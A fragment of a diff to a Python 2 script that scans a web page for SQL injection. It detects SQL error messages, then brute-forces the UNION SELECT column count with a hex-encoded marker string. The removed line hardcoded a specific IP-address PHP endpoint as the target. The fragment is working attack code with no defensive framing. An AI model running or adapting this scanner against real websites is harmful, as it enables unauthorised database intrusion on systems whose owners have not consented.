 	source = urllib2.urlopen(URL).read() ## WEB REQUEST
 except urllib2.URLError, e:
 	print "$$$ We had an Error\n",e
-TARGET = "http://45.63.104.73/acre2.php?lap=acer"
+
 if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
 	print "!! ==> SQLi Found:",TARGET+SQLi
 	print "## ==> Bruting NULL column...",
 URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
 for x in xrange(1,10):
 	if x > 1:
 		URL = URL+","
 		URL = URL+myNameInHex
 		print x,
 		print URL
 		try:
 			source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
 		except urllib2.URLError, e:
 			print "$$$ We had an Error\n",e
 			sys.exit(0)
 		if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
 			print "\n!! ==> Null Column Found:",URL+"--"
 			break
 else:
 	print "** ==> No SQLi Found!"
 print "\nScan Complete\n"
 --------------------------------